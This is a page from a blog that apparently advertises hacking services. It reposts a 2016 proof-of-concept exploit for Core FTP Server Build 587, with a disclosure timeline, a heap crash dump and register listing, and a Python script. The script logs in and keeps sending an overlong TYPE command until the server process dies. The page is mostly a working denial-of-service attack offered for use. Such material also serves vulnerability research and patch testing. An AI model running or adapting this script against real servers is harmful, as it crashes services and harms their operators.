Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86376105

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# -*- coding: cp1252 -*-
# Exploit Title: Core FTP Server 32-bit - Build 587 Heap Overflow
# Date: 05/10/2016
# Exploit Author: Paul Purcell
# Contact: ptpxploit at gmail
# Vendor Homepage: http://www.coreftp.com/
# Vulnerable Version Download:  http://coreftp.com/server/download/archive/CoreFTPServer587.exe
# Version: Core FTP Server 32-bit - Build 587 32-bit
# Tested on: Windows XP SP3 x32 English, Windows 7 Pro x64 SP1 English, Windows 10 Pro x64 English
# Category: Remote Heap Overflow PoC
#
# Timeline: 03/03/16 Bug found
#           03/04/16 Vender notified
#           03/06/16 Vender replied acknowledging the issue
#           04/07/16 Vender releases Build 588 which fixes the issue.
#           05/10/16 Exploit Released
#
# Summary:  This exploit allows for a post authentication DOS.  The server does not do proper bounds checking on
#           server responses.  In this case, the long 'MODE set to ...' reply invoked by a long TYPE command
#           causes a heap overflow and crashes the server process.
#
#           Crash info:
#
#           0133FA2C  32 30 30 20 4D 4F 44 45  200 MODE
#           0133FA34  20 73 65 74 20 74 6F 20   set to
#           0133FA3C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA44  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA4C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA54  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA5C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA64  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA6C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA74  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA7C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA84  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA8C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA94  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA9C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAA4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAAC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAB4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FABC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAC4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FACC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAD4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FADC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAE4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAEC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAF4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAFC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FB04  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FB0C  58 02 00 00 8E EB 31 57  X..Žë1W
#
#           00439827   . 8B86 3C040000  MOV EAX,DWORD PTR DS:[ESI+43C]           ;  ESI invalid address: DS:[4141457D]=???
#           0043982D   . 85C0           TEST EAX,EAX
#
#           DS:[4141457D]=???
#           EAX=00000000
#
#           EAX 00000000
#           ECX 00000000
#           EDX 00000001
#           EBX 01141B90
#           ESP 0142C06C
#           EBP 0143FB3C
#           ESI 41414141
#           EDI 00000000
#           EIP 00439827 coresrvr.00439827
#           C 1  ES 0023 32bit 0(FFFFFFFF)
#           P 1  CS 001B 32bit 0(FFFFFFFF)
#           A 1  SS 0023 32bit 0(FFFFFFFF)
#           Z 0  DS 0023 32bit 0(FFFFFFFF)
#           S 1  FS 003B 32bit 7FFD8000(FFF)
#           T 1  GS 0000 NULL
#           D 0
#           O 0  LastErr ERROR_SUCCESS (00000000)
#           EFL 00000397 (NO,B,NE,BE,S,PE,L,LE)
#           ST0 empty
#           ST1 empty
#           ST2 empty
#           ST3 empty
#           ST4 empty
#           ST5 empty
#           ST6 empty
#           ST7 empty
#                          3 2 1 0      E S P U O Z D I
#           FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
#           FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

import time
import socket
from ftplib import FTP

host='yourhost'             #host or IP
port=21                     #port
u="youruser"                #username
p="yourpass"                #password
pause=3                     #pause between login & command attempts, normally 3 seconds is plenty of time.
command="TYPE "
evil="A"*211                #Any more, and the program warns of buffer overflow attempt and ignores the command
evilTYPE=(command+evil)     #Evil type command

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
open = sock.connect_ex((host,port))
sock.close()

if (open == 0):
    print "FTP is up, lets fix that..."
    while (open != 10061):
        print "Connecting to send evil TYPE command..."
        ftp = FTP()
        ftp.connect(host,port)
        ftp.login(u,p)
        ftp.sendcmd(evilTYPE)
        ftp.close()
        time.sleep(pause)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        open = sock.connect_ex((host,port))
        sock.close()
    print "No more files for you!"
else:
    print "Port "+str(port)+" does not seem to be open on "+host